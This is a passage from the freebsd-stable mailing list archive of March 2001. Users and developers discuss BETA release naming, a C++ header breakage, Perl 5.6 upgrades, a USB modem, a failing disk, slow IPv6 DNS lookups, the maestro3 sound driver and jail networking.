"5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Haikal Saadh types: > > --- Matthew Emmerton wrote: > > > What is a BETA system? Is it similiar to CURRENT? > > > > Please search through the mailing list archives > > before asking questions. > > This has been answered many times over the last two > > weeks. > > > > 4.2-STABLE became 4.3-BETA when the code was frozen, > > prior to becoming > > 4.3-RELEASE. > > > Oooh...as a newbie, I've been bitten twice by > this...CVSUPing hoping the get the latest STABLE, but > get a BETA (4.1.1, and now 4.3)... I always thought I > had made an error in my supfiles, and since nothing > major seemed to have broke, just ignored it. > > Perhaps it would be a good idea to make it so that > either: > - UPDATING mentions that it's a beta you have, > OR > - not put BETAs into the STABLE branch? Or maybe just read the FAQ , which makes it clear that the name changes just identify what point of the release cycle that particular snapshot of -STABLE is at. The name change tells you you have a beta, so having UPDATING tell you that is redundant. UPDATING is for explaining about things that you might break when updating, and so isn't the place for an explanation of what the BETA means. Not putting them on -STABLE would basically mean freezing stable at that point, creating a new branch to put them on, having everyone work on that branch, then merging it back into -STABLE when it becomes A -RELEASE. That's a lot more painful - even if all you're doing is tracking it - than dealing with questions from people who haven't searched the web site. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 1:42: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from piano.mahoroba.org (to2-093.netspace.or.jp [202.210.89.93]) by hub.freebsd.org (Postfix) with ESMTP id E20EC37B719; Fri, 16 Mar 2001 01:42:04 -0800 (PST) (envelope-from ume@FreeBSD.org) Received: from localhost (IDENT:yiAanddyrh1WGZPO+byOcJ1zB84KaImNt3ckYX6xkltNHe8PCd8OUlBuHu/tghQW@localhost [::1]) (authenticated as ume with CRAM-MD5 (0 bits)) by piano.mahoroba.org (8.12.0.Beta5/8.12.0.Beta5/piano) with ESMTP id f2G9fc7Y052206; Fri, 16 Mar 2001 18:41:40 +0900 (JST) (envelope-from ume@FreeBSD.org) Date: Fri, 16 Mar 2001 18:41:37 +0900 (JST) Message-Id: <20010316.184137.28851475.ume@FreeBSD.org> To: zingelman@fnal.gov Cc: kaj@raditex.se, stable@FreeBSD.org Cc: ume@FreeBSD.org Subject: Re: C++ problem in sys/socket.h From: Hajimu UMEMOTO In-Reply-To: References: <84elvy5j91.fsf@frodo.sickla.raditex.se> X-Mailer: xcite1.38> Mew version 1.95b93 on Emacs 20.7 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 4.3-BETA Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Fri, 16 Mar 2001 00:36:45 -0600 (CST) >>>>> Tim Zingelman said: > It seems that something has broken /usr/include/sys/socket.h for C++ > somewhere between my last update (which is 1.39.2.3) and bento's, both > in -STABLE and -CURRENT. Should it be fixed or is there a workaround? > > I did check through cvsweb, and sys/socket.h has some changes, but I > don't see which of them is so harmful ... > > [1] http://people.freebsd.org/~fenner/errorlogs/rasmus@kaj.se.html zingelman> I got very similar errors compiling the mtr port before I grabbed the zingelman> latest updates to the ports tree. It appears that in this case the fix zingelman> was to #include before sys/socket.h Since 1st KAME merge, netdb.h had been included sys/types.h. It was wrong and corrected recently. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@{,jp.}FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 2:34: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nothing-going-on.demon.co.uk (unknown [194.128.198.234]) by hub.freebsd.org (Postfix) with ESMTP id D73C937B719 for ; Fri, 16 Mar 2001 02:34:02 -0800 (PST) (envelope-from nik@nothing-going-on.demon.co.uk) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.11.1/8.11.1) id f2GANET02360; Fri, 16 Mar 2001 10:23:14 GMT (envelope-from nik) Date: Fri, 16 Mar 2001 10:23:14 +0000 From: Nik Clayton To: Garrett Wollman Cc: joe@tao.org.uk, stable@freebsd.org Subject: Re: Perl 5.6 merged soon? Message-ID: <20010316102313.A2325@canyon.nothing-going-on.org> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010316004820.C4241@tao.org.uk> <200103160125.UAA53492@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="x+6KMIRAuhnl3hBn" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103160125.UAA53492@khavrinen.lcs.mit.edu>; from wollman@khavrinen.lcs.mit.edu on Thu, Mar 15, 2001 at 08:25:31PM -0500 Organization: FreeBSD Project Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 08:25:31PM -0500, Garrett Wollman wrote: > One of the big problems with uprevving the Perl in -stable is that the > Perl people don't seem to show much concern for binary compatibility. > As a result, when there's a new version of Perl put into the system, > anyone who has a non-trivial set of Perl extensions installed must > spend a good deal of time identifying them all and reinstalling every > one (and potentially any local applications that depend on them). If > I put my sysadmin hat on for a moment, I *really*, *really* don't want > to do this on production systems, and I would probably freeze my > -stable machines the instant before a new Perl hits the branch. Couldn't you just either put NO_PERL in /etc/make.conf so that you continue to use the previously installed Perl, or simply install your own version in /usr/local/bin (or wherever) and teach your scripts and modules to look there. FreeBSD can't be all things to all people and keep the sysadmin load down. N --=20 FreeBSD: The Power to Serve http://www.freebsd.org/ FreeBSD Documentation Project http://www.freebsd.org/docproj/ --- 15B8 3FFC DDB4 34B0 AA5F 94B7 93A8 0764 2C37 E375 --- --x+6KMIRAuhnl3hBn Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqx6ZEACgkQk6gHZCw343X9TwCeNV4igj92sL2lRsxoxC5Q0xxw Rn0An1xL/Sg0/D23pKjmbALQi/hQaxLM =q8g5 -----END PGP SIGNATURE----- --x+6KMIRAuhnl3hBn-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 4:29:49 2001 Delivered-To: freebsd-stable@freebsd.org Received: from henny.webweaving.org (gate.qubesoft.com [212.113.16.243]) by hub.freebsd.org (Postfix) with ESMTP id 3221837B719 for ; Fri, 16 Mar 2001 04:29:45 -0800 (PST) (envelope-from n_hibma@FreeBSD.ORG) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id MAA61079; Fri, 16 Mar 2001 12:29:02 GMT (envelope-from n_hibma@FreeBSD.ORG) Date: Fri, 16 Mar 2001 12:29:02 +0000 (GMT) From: X-X-Sender: Reply-To: Nick Hibma To: "Daniel O'Connor" Cc: , Subject: RE: USB Modems in -stable In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wohooo! Nick On Thu, 15 Mar 2001, Daniel O'Connor wrote: > > On 13-Mar-01 Daniel O'Connor wrote: > > I am wondering if anyone has tried either a NetCOMM Roadster USB modem, or a > > Mitsubishi 56k/v.92 USB modem? > > OK, well I bought the NetCOMM Roadster -> > umodem0: Sirius Technologies Roadster II 56 USB , rev > 1.00/1.00, addr 2, iclass 2/2 > umodem0: data interface 1, has CM over data, has break > > And it seems to work fine :) :) > > The real irony is that I haven't got it to work under Windows yet :) > > --- > Daniel O'Connor software and network engineer > for Genesis Software - http://www.gsoft.com.au > "The nice thing about standards is that there > are so many of them to choose from." > -- Andrew Tanenbaum > -- The USB for FreeBSD project. n_hibma@FreeBSD.ORG http://www.etla.net/~n_hibma/usb/usb.pl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 4:30:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from gallions-reach.inpharmatica.co.uk (gallions-reach.inpharmatica.co.uk [193.115.214.5]) by hub.freebsd.org (Postfix) with ESMTP id 8991737B719 for ; Fri, 16 Mar 2001 04:30:49 -0800 (PST) (envelope-from m.seaman@inpharmatica.co.uk) Received: from mailhost.inpharmatica.co.uk (euston.inpharmatica.co.uk [193.115.214.6]) by gallions-reach.inpharmatica.co.uk (8.9.3/8.9.3) with ESMTP id MAA08589; Fri, 16 Mar 2001 12:29:27 GMT (envelope-from m.seaman@inpharmatica.co.uk) Received: from w-hampstead.inpharmatica.co.uk (root@w-hampstead.inpharmatica.co.uk [192.168.122.87]) by mailhost.inpharmatica.co.uk (8.11.1/8.11.1) with ESMTP id f2GCTRG18466; Fri, 16 Mar 2001 12:29:27 GMT (envelope-from m.seaman@inpharmatica.co.uk) Received: from inpharmatica.co.uk (matthew@localhost [127.0.0.1]) by w-hampstead.inpharmatica.co.uk (8.9.3/8.9.3) with ESMTP id MAA12231; Fri, 16 Mar 2001 12:29:26 GMT X-Authentication-Warning: w-hampstead.inpharmatica.co.uk: Host matthew@localhost [127.0.0.1] claimed to be inpharmatica.co.uk Message-ID: <3AB20726.6032EC5B@inpharmatica.co.uk> Date: Fri, 16 Mar 2001 12:29:26 +0000 From: Matthew Seaman X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-desktop i586) X-Accept-Language: en-GB, en MIME-Version: 1.0 To: j mckitrick Cc: Sean Chittenden , stable@FreeBSD.ORG Subject: Re: Perl 5.6 merged soon? References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010315201739.C23970@dogma.freebsd-uk.eu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG j mckitrick wrote: > > | Cancelling out of perl5.6 builds while doing a package install > | in CPAN is getting a bit old... -sc > > I figure this, like other similar issues, is a tradeoff between cutting edge > software and production level stability and security. It just takes time. If you install the latest CPAN Bundle you should find that the tendency for perl to try and upgrade itself goes away (or at least, happens a lot less often): perl -MCPAN -e 'install Bundle::CPAN' Current version is CPAN-1.59_54 compared to CPAN-1.48 as bundled with perl5.005_03. Matthew -- Certe, Toto, sentio nos in Kansate non iam adesse. Dr. Matthew Seaman, Inpharmatica Ltd, 60 Charlotte St, London, W1T 2NU Tel: +44 20 7631 4644 x229 Fax: +44 20 7631 4844 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 5:32: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from genesis.tao.org.uk (genesis.tao.org.uk [212.135.162.62]) by hub.freebsd.org (Postfix) with ESMTP id 647F737B71D for ; Fri, 16 Mar 2001 05:32:04 -0800 (PST) (envelope-from joe@tao.org.uk) Received: from tao.org.uk (unknown [194.242.131.94]) by genesis.tao.org.uk (Postfix) with ESMTP id 2D07C49B0; Fri, 16 Mar 2001 13:31:58 +0000 (GMT) Received: by tao.org.uk (Postfix, from userid 100) id 6E6FA3158; Fri, 16 Mar 2001 13:31:59 +0000 (GMT) Date: Fri, 16 Mar 2001 13:31:59 +0000 From: Josef Karthauser To: Garrett Wollman Cc: stable@freebsd.org Subject: Re: Perl 5.6 merged soon? Message-ID: <20010316133159.F2277@tao.org.uk> Mail-Followup-To: Josef Karthauser , Garrett Wollman , stable@freebsd.org References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010316004820.C4241@tao.org.uk> <200103160125.UAA53492@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="9ADF8FXzFeE7X4jE" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103160125.UAA53492@khavrinen.lcs.mit.edu>; from wollman@khavrinen.lcs.mit.edu on Thu, Mar 15, 2001 at 08:25:31PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --9ADF8FXzFeE7X4jE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 08:25:31PM -0500, Garrett Wollman wrote: > In article = you write: > >For people who want to run perl 5.6.0 on -stable now they > >should be able to get away with 'NOPERL=3Dtrue' in /etc/make.conf > >and installing 5.6.0 by hand. >=20 > One of the big problems with uprevving the Perl in -stable is that the > Perl people don't seem to show much concern for binary compatibility. > As a result, when there's a new version of Perl put into the system, > anyone who has a non-trivial set of Perl extensions installed must > spend a good deal of time identifying them all and reinstalling every > one (and potentially any local applications that depend on them). If > I put my sysadmin hat on for a moment, I *really*, *really* don't want > to do this on production systems, and I would probably freeze my > -stable machines the instant before a new Perl hits the branch. That's what the new BSDPAN code is all about. Making CPAN installs accounted for in the system. Joe --9ADF8FXzFeE7X4jE Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqyFc4ACgkQXVIcjOaxUBZPTQCg4XI/BgW+DAScGtK+Sc5x7hMB BakAoMcTP6jSmunkHi4gXZIs9R+EM1VK =khRH -----END PGP SIGNATURE----- --9ADF8FXzFeE7X4jE-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 6: 5:32 2001 Delivered-To: freebsd-stable@freebsd.org Received: from siegfried.utmb.edu (siegfried.utmb.edu [129.109.59.86]) by hub.freebsd.org (Postfix) with ESMTP id 736AA37B71C for ; Fri, 16 Mar 2001 06:05:27 -0800 (PST) (envelope-from bdodson@scms.utmb.EDU) Received: from histidine.utmb.edu (80.222.nas7.ippool.hypercon.com [198.64.222.80]) by siegfried.utmb.edu (8.9.3/8.9.3) with ESMTP id JAA37745 for ; Fri, 16 Mar 2001 09:42:02 -0600 (CST) (envelope-from bdodson@histidine.utmb.edu) Received: (from bdodson@localhost) by histidine.utmb.edu (8.11.2/8.11.2) id f2GE6TR00415; Fri, 16 Mar 2001 08:06:29 -0600 (CST) (envelope-from bdodson) Date: Fri, 16 Mar 2001 08:06:29 -0600 (CST) Message-Id: <200103161406.f2GE6TR00415@histidine.utmb.edu> From: "M. L. Dodson" To: freebsd-stable@FreeBSD.ORG Subject: disk hard read error: anything to be done? Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The following just showed up in my overnight logs (Things had been working just fine, hardware wise, for months. No changes, hardware or software associated with the appearance.): ad0: HARD READ ERROR blk# 983151ad0: HARD READ ERROR blk# 983151 status=59 error=40 ad0: DMA problem fallback to PIO mode Should I do anything about this (I understand that at least one sector is going/gone dodgy). It appeared again when I rebooted (at the file sync stage), then again (approximately) when xdm was starting. I read ata-disk.c, but it is not clear to me whether the whole driver goes into pio mode if this happens, or whether it just uses pio to read the troublesome block. Thanks, Bud Dodson uname -a (lines wrapped): FreeBSD wotan.invalid 4.2-STABLE FreeBSD 4.2-STABLE #7: \ Fri Mar 2 20:31:28 CST 2001 \ bdodson@wotan.invalid:/usr/obj/usr/src/sys/WOTAN i386 dmesg: Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.2-STABLE #7: Fri Mar 2 20:31:28 CST 2001 bdodson@wotan.invalid:/usr/obj/usr/src/sys/WOTAN Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 397947888 Hz CPU: Pentium II/Pentium II Xeon/Celeron (397.95-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183f9ff real memory = 134205440 (131060K bytes) config> q avail memory = 126971904 (123996K bytes) Preloaded elf kernel "kernel" at 0xc03a5000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc03a509c. Preloaded elf module "agp.ko" at 0xc03a50ec. Preloaded elf module "mga.ko" at 0xc03a5188. Preloaded elf module "drm.ko" at 0xc03a5224. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 agp0: mem 0xf8000000-0xfbffffff at device 0.0 on pci0 pcib1: at device 1.0 on pci0 pci1: on pcib1 drm0: mem 0xf4800000-0xf4ffffff,0xf4100000-0xf4103fff,0xf6000000-0xf7ffffff irq 11 at device 0.0 on pci1 info: [drm] AGP at 0xf8000000 64MB info: [drm] Initialized mga 1.0.0 19991213 on minor 0 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0x1820-0x182f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0x1800-0x181f irq 9 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered chip0: port 0x7000-0x700f at device 7.3 on pci0 dc0: port 0x1000-0x10ff mem 0xf4001000-0xf40010ff irq 11 at device 14.0 on pci0 dc0: Ethernet address: 00:a0:cc:36:bf:5f miibus0: on dc0 dcphy0: on miibus0 dcphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto ahc0: port 0x1400-0x14ff mem 0xf4000000-0xf4000fff irq 9 at device 16.0 on pci0 aic7880: Single Channel A, SCSI Id=7, 16/255 SCBs fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 flags 0x8 on isa0 ppc0: Generic chipset (ECP-only) in ECP mode ppc0: FIFO with 16/16/8 bytes threshold lpt0: on ppbus0 lpt0: Interrupt-driven port sbc0: at port 0x220-0x22f irq 5 drq 1 flags 0x15 on isa0 pcm0: on sbc0 IP packet filtering initialized, divert enabled, rule-based forwarding enabled, default to accept, logging limited to 100 packets/entry by default ad0: 14649MB [29765/16/63] at ata0-master UDMA33 afd0: 96MB [32/64/96] at ata1-master using PIO0 Waiting 5 seconds for SCSI devices to settle Mounting root from ufs:/dev/ad0s1a cd0 at ahc0 bus 0 target 6 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 4.237MB/s transfers (4.237MHz, offset 15) cd0: Attempt to query device size failed: NOT READY, Medium not present ad0: HARD READ ERROR blk# 983151ad0: HARD READ ERROR blk# 983151 status=59 error=40 ad0: DMA problem fallback to PIO mode -- M. L. Dodson bdodson@scms.utmb.edu 409-772-2178 FAX: 409-772-1790 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 6:40:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from brea.mc.mpls.visi.com (brea.mc.mpls.visi.com [208.42.156.100]) by hub.freebsd.org (Postfix) with ESMTP id A921F37B719; Fri, 16 Mar 2001 06:40:31 -0800 (PST) (envelope-from sdk@io.visi.com) Received: from io.visi.com (io.visi.com [209.98.251.25]) by brea.mc.mpls.visi.com (Postfix) with ESMTP id 23F672DDEC5; Fri, 16 Mar 2001 08:40:31 -0600 (CST) Received: (from sdk@localhost) by io.visi.com (8.11.1/8.11.1) id f2GEeUP16787; Fri, 16 Mar 2001 08:40:30 -0600 (CST) (envelope-from sdk) Date: Fri, 16 Mar 2001 08:40:30 -0600 From: Stephen Krans To: Hajimu UMEMOTO Cc: freebsd-stable@FreeBSD.org Subject: Re: 4.3-BETA2, name resolution problem? Message-ID: <20010316084030.A16744@visi.com> References: <20010315161333.A14337@visi.com> <20010316.181229.125831413.ume@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010316.181229.125831413.ume@FreeBSD.org>; from ume@FreeBSD.org on Fri, Mar 16, 2001 at 06:12:29PM +0900 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Mar 16, 2001 at 06:12:29PM +0900, Hajimu UMEMOTO wrote: > >>>>> On Thu, 15 Mar 2001 16:13:33 -0600 > >>>>> Stephen said: > > sdk> I've just installed 4.3-BETA2 and compiled a custom kernel with IPv6 > sdk> disabled and have nothing IPv6 related in /etc/rc.conf. I'm noticing slow > sdk> telnet and fetch connect times, and after snooping with Ethereal, found > > How slow is it? > > sdk> that it's trying to resolve my FQ hostname via DNS with a type 'AAAA' > sdk> (IPv6?) before falling back to type 'A'. 4.2-R doesn't appear to do this. > > Now, getaddrinfo(3) always queries AAAA RR in addition to A RR even if > kernel doesn't support IPv6. It is real behavior of getaddrinfo(3) > without specifying AI_ADDRCONFIG. Because, query for AAAA RR and A RR > is done in same time, it should not be a problem. Once there was DNS > query order problem at 4.0-RELEASE days. But, I believe it was > completely corrected. > I'm seeing a ~ 60 second delay before the name is resolved and the connection is made. During that delay period, Ethereal shows several consecutive AAAA lookups before an A lookup is sent and IP immediately returned. This server's DNS setup points to another FreeBSD machine running 8.2.3-REL, which is config'd as 'forward only' and passes my request (since it's a external hostname) down the line to (I believe) a Windows NT server where the name resolution is acutally done. sk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 6:47: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from math.uic.edu (galois.math.uic.edu [131.193.178.114]) by hub.freebsd.org (Postfix) with SMTP id 48DD437B719 for ; Fri, 16 Mar 2001 06:47:02 -0800 (PST) (envelope-from vladimir@math.uic.edu) Received: (qmail 2543 invoked by uid 31415); 16 Mar 2001 14:46:27 -0000 Date: 16 Mar 2001 14:46:27 -0000 Message-ID: <20010316144627.2542.qmail@math.uic.edu> From: vladimir@math.uic.edu To: freebsd-stable@freebsd.org Subject: maestro3 driver Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Feb 8, I've reported maestro3 driver broken (please see a copy of a message below for details). I was wondering if anyone had a chance to have a look at this problem (it would be nice to have it working by the time 4.3 comes out). Many thanks, Vladimir ******************************************************* Date: 2001-02-08 11:00:36 PST > From: vladimir@math.uic.edu [[14]mailto:vladimir@math.uic.edu] > Sent: Thursday, February 08, 2001 10:29 AM > To: freebsd-stable@freebsd.org > Subject: maestro3 driver broken? > > I had no luck compiling a recently-committed driver for > maestro3 sounds cards. The system is 4.2-STABLE, source > cvsup'ed on Feb 7, 2001. Running 'make depend; make' > in /usr/src/sys/modules/sound/driver/maestro3 > produces the output attached below. > > I have emailed to Darrell Anderson , > who seems to have written this driver, but just want to confirm > that I am not doing something wrong. Has anyone else run > into the same problem? I could compile the driver > before I did an upgrade (I believe my old sources were from > Jan 15, 2001, but I am not sure). 4.2-STABLE recently had the kobj changes from 5.0-CURRENT backported. I am moving to Scott Long's 5.0-CURRENT version, which should work in the STABLE now: http://people.freebsd.org/~scottl/maestro3/ That said, it doesn't work yet. It compiles cleanly and the module loads, but the attach fails. The driver's m3_pci_attach() calls pcm_addchan(), which in turn calls chn_init(). Then chn_init() calls CHANNEL_INIT(), but it doesn't invoke the driver's m3_pchan_init() as it should. The sound buf is never allocated, so chn_init() returns ENOMEM. I haven't had time to play with it much yet. The driver works in CURRENT; is there something different in the new method/class pcm framework between CURRENT and STABLE? -Darrell -- Department of Computer Science, Duke University, Durham, NC 27708-0129 Darrell Anderson, anderson -at- cs.duke.edu, [16]http://www.cs.duke.edu/~anders on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 6:52:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hotmail.com (f70.law14.hotmail.com [64.4.21.70]) by hub.freebsd.org (Postfix) with ESMTP id 883ED37B71C; Fri, 16 Mar 2001 06:52:31 -0800 (PST) (envelope-from jefffbsd@hotmail.com) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 16 Mar 2001 06:52:30 -0800 Received: from 161.184.39.167 by lw14fd.law14.hotmail.msn.com with HTTP; Fri, 16 Mar 2001 14:52:30 GMT X-Originating-IP: [161.184.39.167] From: "Jeffrey Sewell" To: freebsd-isp@freebsd.org Cc: freebsd-stable@freebsd.org Subject: Get out of Jail Free Card-No really I need help with Jail :) Date: Fri, 16 Mar 2001 14:52:30 -0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 16 Mar 2001 14:52:30.0501 (UTC) FILETIME=[B9C53D50:01C0AE28] Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Are there patches that one can use for Jail to bind to /29? Guy on IRC said if you want proftpd running on all 5 ips you need 5 proftpds running all in their own jail session. Seems rediculous to me, is there a way around it? (What do people do with a full class c)? _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 6:53:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vilnya.demon.co.uk (vilnya.demon.co.uk [158.152.19.238]) by hub.freebsd.org (Postfix) with ESMTP id BC67E37B71A for ; Fri, 16 Mar 2001 06:53:06 -0800 (PST) (envelope-from gandalf@vilnya.demon.co.uk) Received: from haveblue (haveblue.rings [10.2.4.5]) by vilnya.demon.co.uk (Postfix) with SMTP id AD9D8D9A8; Fri, 16 Mar 2001 14:53:04 +0000 (GMT) Message-ID: <070601c0ae28$bca3a520$0504020a@haveblue> From: "Cameron Grant" To: , References: <20010316144627.2542.qmail@math.uic.edu> Subject: Re: maestro3 driver Date: Fri, 16 Mar 2001 14:52:33 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Feb 8, I've reported maestro3 driver broken (please see > a copy of a message below for details). I was wondering > if anyone had a chance to have a look at this problem (it would > be nice to have it working by the time 4.3 comes out). fixed 2-3 weeks ago. -cg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 7: 0:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from easynet-gw.netvalue.fr (easynet-gw.netvalue.fr [212.180.121.161]) by hub.freebsd.org (Postfix) with ESMTP id 53AC737B718 for ; Fri, 16 Mar 2001 07:00:40 -0800 (PST) (envelope-from erwan@netvalue.com) Received: from mail.netvalue.fr (unknown [192.168.1.13]) by easynet-gw.netvalue.fr (Postfix) with ESMTP id 0CC3F8C5C for ; Fri, 16 Mar 2001 16:00:39 +0100 (CET) Received: from mail-fr.netvalue.fr ([192.168.1.18]) by mail.netvalue.fr (Netscape Messaging Server 3.6) with ESMTP id AAA728 for ; Fri, 16 Mar 2001 16:00:37 +0100 Received: from erwan.netvalue.fr ([192.168.1.100]) by mail-fr.netvalue.fr (Netscape Messaging Server 4.01) with ESMTP id GAAPPQ00.JQK; Fri, 16 Mar 2001 16:01:02 +0100 Received: from netvalue.com (localhost [127.0.0.1]) by erwan.netvalue.fr (Postfix) with ESMTP id A50D91A0B; Fri, 16 Mar 2001 16:00:33 +0100 (CET) Message-ID: <3AB22A91.AD2A82D6@netvalue.com> Date: Fri, 16 Mar 2001 16:00:33 +0100 From: Erwan Arzur Organization: NetValue Ltd. X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en, fr-FR MIME-Version: 1.0 To: Christopher Shumway Cc: Francisco Reyes , stable@FreeBSD.ORG Subject: Re: 